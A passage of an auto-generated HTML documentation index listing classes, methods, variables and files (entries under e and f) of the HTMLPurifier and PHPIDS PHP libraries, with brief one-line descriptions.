href="default/_vendors---htmlpurifier---HTMLPurifier---URIFilter---DisableExternal.php.html">DisableExternal.php</a> in DisableExternal.php</div> - </dd> - <dt class="field"> - <span class="include-title">DisableExternalResources.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---URIFilter---DisableExternalResources.php.html">DisableExternalResources.php</a> in DisableExternalResources.php</div> - </dd> - </dl> - <a name="e"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">e</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$element</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_DenyElementDecorator.html#var$element">HTMLPurifier_AttrDef_CSS_DenyElementDecorator::$element</a> in DenyElementDecorator.php</div> - </dd> - <dt class="field"> - <span class="var-title">$elementLookup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$elementLookup">HTMLPurifier_HTMLModuleManager::$elementLookup</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Associative array of element name to list of modules that have definitions for the element; this array is dynamically filled.</div> - </dd> - <dt class="field"> - <span class="var-title">$elements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Table.html#var$elements">HTMLPurifier_ChildDef_Table::$elements</a> in Table.php</div> - </dd> - <dt class="field"> - <span class="var-title">$elements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Scripting.html#var$elements">HTMLPurifier_HTMLModule_Scripting::$elements</a> in Scripting.php</div> - </dd> - <dt class="field"> - <span class="var-title">$elements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Required.html#var$elements">HTMLPurifier_ChildDef_Required::$elements</a> in Required.php</div> - <div class="index-item-description">Lookup table of allowed elements.</div> - </dd> - <dt class="field"> - <span class="var-title">$elements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$elements">HTMLPurifier_HTMLModule::$elements</a> in HTMLModule.php</div> - <div class="index-item-description">Informally, a list of elements this module changes. Not used in any significant way.</div> - </dd> - <dt class="field"> - <span class="var-title">$elements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef.html#var$elements">HTMLPurifier_ChildDef::$elements</a> in ChildDef.php</div> - <div class="index-item-description">Lookup array of all elements that this definition could possibly allow</div> - </dd> - <dt class="field"> - <span class="var-title">$embedsResource</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_URI.html#var$embedsResource">HTMLPurifier_AttrDef_URI::$embedsResource</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$enumToCSS</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTransform_EnumToCSS.html#var$enumToCSS">HTMLPurifier_AttrTransform_EnumToCSS::$enumToCSS</a> in EnumToCSS.php</div> - <div class="index-item-description">Lookup array of attribute values to CSS</div> - </dd> - <dt class="field"> - <span class="var-title">$error</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#var$error">HTMLPurifier_Language::$error</a> in Language.php</div> - <div class="index-item-description">True if no message file was found for this language, so English is being used instead. Check this if you'd like to notify the user that they've used a non-supported language.</div> - </dd> - <dt class="field"> - <span class="var-title">$errorNames</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#var$errorNames">HTMLPurifier_Language::$errorNames</a> in Language.php</div> - <div class="index-item-description">Array of localizable error codes</div> - </dd> - <dt class="field"> - <span class="var-title">$errors</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#var$errors">HTMLPurifier_ErrorCollector::$errors</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="var-title">$errors</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#var$errors">HTMLPurifier_ErrorStruct::$errors</a> in ErrorStruct.php</div> - <div class="index-item-description">Errors registered for this structure.</div> - </dd> - <dt class="field"> - <span class="var-title">$events</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#var$events">IDS_Report::$events</a> in Report.php</div> - <div class="index-item-description">Event container</div> - </dd> - <dt class="field"> - <span class="var-title">$excludes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$excludes">HTMLPurifier_ElementDef::$excludes</a> in ElementDef.php</div> - <div class="index-item-description">Lookup table of tags excluded from all descendants of this tag.</div> - </dd> - <dt class="field"> - <span class="var-title">$external</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$external">HTMLPurifier_ConfigSchema_Interchange_Directive::$external</a> in Directive.php</div> - <div class="index-item-description">List of external projects this directive depends on, e.g. array('CSSTidy').</div> - </dd> - <dt class="field"> - <span class="method-title">element</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodelement">HTMLPurifier_Printer::element()</a> in Printer.php</div> - <div class="index-item-description">Prints a complete element with content inside</div> - </dd> - <dt class="field"> - <span class="method-title">elementEmpty</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodelementEmpty">HTMLPurifier_Printer::elementEmpty()</a> in Printer.php</div> - </dd> - <dt class="field"> - <span class="method-title">emitToken</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#methodemitToken">HTML5TreeConstructer::emitToken()</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">encode</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_PercentEncoder.html#methodencode">HTMLPurifier_PercentEncoder::encode()</a> in PercentEncoder.php</div> - <div class="index-item-description">Our replacement for urlencode, it encodes all non-reserved characters, as well as any extra characters that were instructed to be preserved.</div> - </dd> - <dt class="field"> - <span class="method-title">end</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodend">HTMLPurifier_Printer::end()</a> in Printer.php</div> - <div class="index-item-description">Returns an end teg</div> - </dd> - <dt class="field"> - ENDTAG - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constENDTAG">HTML5::ENDTAG</a> in PH5P.php</div> - </dd> - <dt class="field"> - END_PHASE - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constEND_PHASE">HTML5TreeConstructer::END_PHASE</a> in PH5P.php</div> - </dd> - <dt class="field"> - ENGLISH - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#constENGLISH">HTMLPurifier_UnitConverter::ENGLISH</a> in UnitConverter.php</div> - </dd> - <dt class="field"> - EOF - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constEOF">HTML5::EOF</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">error</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html#methoderror">HTMLPurifier_ConfigSchema_ValidatorAtom::error()</a> in ValidatorAtom.php</div> - </dd> - <dt class="field"> - <span class="method-title">error</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#methoderror">HTMLPurifier_VarParser::error()</a> in VarParser.php</div> - <div class="index-item-description">Throws an exception.</div> - </dd> - <dt class="field"> - <span class="method-title">error</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html#methoderror">HTMLPurifier_ConfigSchema_Validator::error()</a> in Validator.php</div> - <div class="index-item-description">Emits an error, providing helpful context.</div> - </dd> - <dt class="field"> - <span class="method-title">errorGeneric</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#methoderrorGeneric">HTMLPurifier_VarParser::errorGeneric()</a> in VarParser.php</div> - <div class="index-item-description">Generic error for if a type didn't work.</div> - </dd> - <dt class="field"> - <span class="method-title">errorInconsistent</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#methoderrorInconsistent">HTMLPurifier_VarParser::errorInconsistent()</a> in VarParser.php</div> - <div class="index-item-description">Throws an inconsistency exception.</div> - </dd> - <dt class="field"> - <span class="method-title">escape</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Generator.html#methodescape">HTMLPurifier_Generator::escape()</a> in Generator.php</div> - <div class="index-item-description">Escapes raw text data.</div> - </dd> - <dt class="field"> - <span class="method-title">escape</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodescape">HTMLPurifier_Printer::escape()</a> in Printer.php</div> - <div class="index-item-description">Escapes a string for HTML output.</div> - </dd> - <dt class="field"> - <span class="method-title">escapeCDATA</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#methodescapeCDATA">HTMLPurifier_Lexer::escapeCDATA()</a> in Lexer.php</div> - <div class="index-item-description">Translates CDATA sections into regular sections (through escaping).</div> - </dd> - <dt class="field"> - <span class="method-title">escapeCommentedCDATA</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#methodescapeCommentedCDATA">HTMLPurifier_Lexer::escapeCommentedCDATA()</a> in Lexer.php</div> - <div class="index-item-description">Special CDATA case that is especially convoluted for <script></div> - </dd> - <dt class="field"> - <span class="method-title">escapeHandler</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PEARSax3.html#methodescapeHandler">HTMLPurifier_Lexer_PEARSax3::escapeHandler()</a> in PEARSax3.php</div> - <div class="index-item-description">Escaped text handler, interface is defined by PEAR package.</div> - </dd> - <dt class="field"> - <span class="method-title">evalArray</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html#methodevalArray">HTMLPurifier_ConfigSchema_InterchangeBuilder::evalArray()</a> in InterchangeBuilder.php</div> - <div class="index-item-description">Evaluates an array PHP code string without array() wrapper</div> - </dd> - <dt class="field"> - <span class="method-title">evalExpression</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser_Native.html#methodevalExpression">HTMLPurifier_VarParser_Native::evalExpression()</a> in Native.php</div> - </dd> - <dt class="field"> - <span class="include-title">Event.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Event.php.html">Event.php</a> in Event.php</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_RemoveForeignElements.html#methodexecute">HTMLPurifier_Strategy_RemoveForeignElements::execute()</a> in RemoveForeignElements.php</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy.html#methodexecute">HTMLPurifier_Strategy::execute()</a> in Strategy.php</div> - <div class="index-item-description">Executes the strategy on the tokens.</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_ValidateAttributes.html#methodexecute">HTMLPurifier_Strategy_ValidateAttributes::execute()</a> in ValidateAttributes.php</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html#methodexecute">HTMLPurifier_Strategy_MakeWellFormed::execute()</a> in MakeWellFormed.php</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_FixNesting.html#methodexecute">HTMLPurifier_Strategy_FixNesting::execute()</a> in FixNesting.php</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Database.html#methodexecute">IDS_Log_Database::execute()</a> in Database.php</div> - <div class="index-item-description">Stores given data into the database</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodexecute">IDS_Log_Email::execute()</a> in Email.php</div> - <div class="index-item-description">Sends the report to registered recipients</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_Composite.html#methodexecute">HTMLPurifier_Strategy_Composite::execute()</a> in Composite.php</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_File.html#methodexecute">IDS_Log_File::execute()</a> in File.php</div> - <div class="index-item-description">Stores given data into a file</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Interface.html#methodexecute">IDS_Log_Interface::execute()</a> in Interface.php</div> - <div class="index-item-description">Interface method</div> - </dd> - <dt class="field"> - <span class="method-title">execute</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html#methodexecute">IDS_Log_Composite::execute()</a> in Composite.php</div> - <div class="index-item-description">Iterates through registered loggers and executes them</div> - </dd> - <dt class="field"> - <span class="method-title">exists</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Context.html#methodexists">HTMLPurifier_Context::exists()</a> in Context.php</div> - <div class="index-item-description">Checks whether or not the variable exists.</div> - </dd> - <dt class="field"> - <span class="method-title">expandIdentifiers</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrCollections.html#methodexpandIdentifiers">HTMLPurifier_AttrCollections::expandIdentifiers()</a> in AttrCollections.php</div> - <div class="index-item-description">Expands all string identifiers in an attribute array by replacing</div> - </dd> - <dt class="field"> - <span class="method-title">export</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_Xml.html#methodexport">HTMLPurifier_ConfigSchema_Builder_Xml::export()</a> in Xml.php</div> - </dd> - <dt class="field"> - <span class="method-title">extractBody</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html#methodextractBody">HTMLPurifier_Lexer::extractBody()</a> in Lexer.php</div> - <div class="index-item-description">Takes a string of HTML (fragment or document) and returns the content</div> - </dd> - <dt class="field"> - <span class="include-title">Email.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---Email.php.html">Email.php</a> in Email.php</div> - </dd> - <dt class="field"> - <span class="include-title">Enum.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---Enum.php.html">Enum.php</a> in Enum.php</div> - </dd> - <dt class="field"> - <span class="include-title">Email.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---URI---Email.php.html">Email.php</a> in Email.php</div> - </dd> - <dt class="field"> - <span class="include-title">EnumToCSS.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrTransform---EnumToCSS.php.html">EnumToCSS.php</a> in EnumToCSS.php</div> - </dd> - <dt class="field"> - <span class="include-title">Empty.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ChildDef---Empty.php.html">Empty.php</a> in Empty.php</div> - </dd> - <dt class="field"> - <span class="include-title">Exception.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---Exception.php.html">Exception.php</a> in Exception.php</div> - </dd> - <dt class="field"> - <span class="include-title">ElementDef.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ElementDef.php.html">ElementDef.php</a> in ElementDef.php</div> - </dd> - <dt class="field"> - <span class="include-title">Encoder.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Encoder.php.html">Encoder.php</a> in Encoder.php</div> - </dd> - <dt class="field"> - <span class="include-title">EntityLookup.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---EntityLookup.php.html">EntityLookup.php</a> in EntityLookup.php</div> - </dd> - <dt class="field"> - <span class="include-title">EntityParser.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---EntityParser.php.html">EntityParser.php</a> in EntityParser.php</div> - </dd> - <dt class="field"> - <span class="include-title">ErrorCollector.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ErrorCollector.php.html">ErrorCollector.php</a> in ErrorCollector.php</div> - </dd> - <dt class="field"> - <span class="include-title">ErrorStruct.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ErrorStruct.php.html">ErrorStruct.php</a> in ErrorStruct.php</div> - </dd> - <dt class="field"> - <span class="include-title">Exception.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Exception.php.html">Exception.php</a> in Exception.php</div> - </dd> - <dt class="field"> - <span class="include-title">ExtractStyleBlocks.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Filter---ExtractStyleBlocks.php.html">ExtractStyleBlocks.php</a> in ExtractStyleBlocks.php</div> - </dd> - <dt class="field"> - <span class="include-title">Edit.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Edit.php.html">Edit.php</a> in Edit.php</div> - </dd> - <dt class="field"> - <span class="include-title">en-x-test.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Language---classes---en-x-test.php.html">en-x-test.php</a> in en-x-test.php</div> - </dd> - <dt class="field"> - <span class="include-title">en-x-test.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Language---messages---en-x-test.php.html">en-x-test.php</a> in en-x-test.php</div> - </dd> - <dt class="field"> - <span class="include-title">en-x-testmini.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Language---messages---en-x-testmini.php.html">en-x-testmini.php</a> in en-x-testmini.php</div> - </dd> - <dt class="field"> - <span class="include-title">en.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Language---messages---en.php.html">en.php</a> in en.php</div> - </dd> - <dt class="field"> - <span class="include-title">Empty.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Token---Empty.php.html">Empty.php</a> in Empty.php</div> - </dd> - <dt class="field"> - <span class="include-title">End.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Token---End.php.html">End.php</a> in End.php</div> - </dd> - </dl> - <a name="f"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">f</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$fake_elements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_StrictBlockquote.html#var$fake_elements">HTMLPurifier_ChildDef_StrictBlockquote::$fake_elements</a> in StrictBlockquote.php</div> - </dd> - <dt class="field"> - <span class="var-title">$fallback</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#var$fallback">HTMLPurifier_Language::$fallback</a> in Language.php</div> - <div class="index-item-description">Fallback language code</div> - </dd> - <dt class="field"> - <span class="var-title">$fields</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#var$fields">HTMLPurifier_Printer_ConfigForm::$fields</a> in ConfigForm.php</div> - <div class="index-item-description">Printers for specific fields</div> - </dd> - <dt class="field"> - <span class="var-title">$filters</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$filters">IDS_Event::$filters</a> in Event.php</div> - <div class="index-item-description">List of filter objects</div> - </dd> - <dt class="field"> - <span class="var-title">$filters</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#var$filters">HTMLPurifier_URIDefinition::$filters</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$filterSet</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#var$filterSet">IDS_Filter_Storage::$filterSet</a> in Storage.php</div> - <div class="index-item-description">Filter container</div> - </dd> - <dt class="field"> - <span class="var-title">$finalized</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$finalized">HTMLPurifier_Config::$finalized</a> in Config.php</div> - <div class="index-item-description">Bool indicator whether or not config is finalized</div> - </dd> - <dt class="field"> - <span class="var-title">$fixesForLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#var$fixesForLevel">HTMLPurifier_HTMLModule_Tidy::$fixesForLevel</a> in Tidy.php</div> - <div class="index-item-description">Lists of fixes used by getFixesForLevel(). Format is:</div> - </dd> - <dt class="field"> - <span class="var-title">$fragment</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#var$fragment">HTMLPurifier_URI::$fragment</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="include-title">Factory.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Factory.php.html">Factory.php</a> in Factory.php</div> - </dd> - <dt class="field"> - <span class="include-title">File.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---File.php.html">File.php</a> in File.php</div> - </dd> - <dt class="field"> - <span class="method-title">factory</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Caching.html#methodfactory">IDS_Caching::factory()</a> in Factory.php</div> - <div class="index-item-description">Factory method</div> - </dd> - <dt class="field"> - <span class="method-title">filter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_MakeAbsolute.html#methodfilter">HTMLPurifier_URIFilter_MakeAbsolute::filter()</a> in MakeAbsolute.php</div> - </dd> - <dt class="field"> - <span class="method-title">filter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#methodfilter">HTMLPurifier_URIDefinition::filter()</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">filter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_Munge.html#methodfilter">HTMLPurifier_URIFilter_Munge::filter()</a> in Munge.php</div> - </dd> - <dt class="field"> - <span class="method-title">filter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter.html#methodfilter">HTMLPurifier_URIFilter::filter()</a> in URIFilter.php</div> - <div class="index-item-description">Filter a URI object</div> - </dd> - <dt class="field"> - <span class="method-title">filter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_DisableExternal.html#methodfilter">HTMLPurifier_URIFilter_DisableExternal::filter()</a> in DisableExternal.php</div> - </dd> - <dt class="field"> - <span class="method-title">filter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_DisableExternalResources.html#methodfilter">HTMLPurifier_URIFilter_DisableExternalResources::filter()</a> in DisableExternalResources.php</div> - </dd> - <dt class="field"> - <span class="method-title">filter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_HostBlacklist.html#methodfilter">HTMLPurifier_URIFilter_HostBlacklist::filter()</a> in HostBlacklist.php</div> - </dd> - <dt class="field"> - <span class="include-title">Filter.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Filter.php.html">Filter.php</a> in Filter.php</div> - </dd> - <dt class="field"> - <span class="method-title">finalize</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#methodfinalize">HTMLPurifier_Config::finalize()</a> in Config.php</div> - <div class="index-item-description">Finalizes a configuration object, prohibiting further change</div> - </dd> - <dt class="field"> - FLOAT - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#constFLOAT">HTMLPurifier_VarParser::FLOAT</a> in VarParser.php</div> - </dd> - <dt class="field"> - <span class="method-title">flush</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodflush">HTMLPurifier_DefinitionCache_Serializer::flush()</a> in Serializer.php</div> - </dd> - <dt class="field"> - <span class="method-title">flush</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodflush">HTMLPurifier_DefinitionCache::flush()</a> in DefinitionCache.php</div> - <div class="index-item-description">Clears all objects from cache</div> - </dd> - <dt class="field"> - <span class="method-title">flush</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methodflush">HTMLPurifier_DefinitionCache_Decorator::flush()</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">flush</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Null.html#methodflush">HTMLPurifier_DefinitionCache_Null::flush()</a> in Null.php</div> - </dd> - <dt class="field"> - <span class="method-title">formatMessage</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html#methodformatMessage">HTMLPurifier_Language::formatMessage()</a> in Language.php</div> - <div class="index-item-description">Formats a localised message with passed parameters</div> - </dd> - <dt class="field"> - FORMATTING - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constFORMATTING">HTML5TreeConstructer::FORMATTING</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">forward</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodforward">HTMLPurifier_Injector::forward()</a> in Injector.php</div> - <div class="index-item-description">Iterator function, which starts with the next token and continues until you reach the end of the input tokens.</div> - </dd> - <dt class="field"> - <span class="method-title">forwardUntilEndToken</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodforwardUntilEndToken">HTMLPurifier_Injector::forwardUntilEndToken()</a> in Injector.php</div> - <div class="index-item-description">Similar to _forward, but accepts a third parameter $nesting (which should be initialized at 0) and stops when we hit the end tag for the node $this->inputIndex starts in.</div> - </dd> - <dt class="field"> - <span class="include-title">File.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---File.php.html">File.php</a> in File.php</div> - </dd> - <dt class="field"> - <span class="include-title">Filter.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Filter.php.html">Filter.php</a> in Filter.php</div> - </dd> - <dt class="field"> - <span class="include-title">Font.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Font.php.html">Font.php</a> in Font.php</div> - </dd> - <dt class="field"> - <span class="include-title">FontFamily.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---FontFamily.php.html">FontFamily.php</a> in FontFamily.php</div> - </dd> - <dt class="field"> - <span class="include-title">FrameTarget.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---FrameTarget.php.html">FrameTarget.php</a> in FrameTarget.php</div> - </dd> - 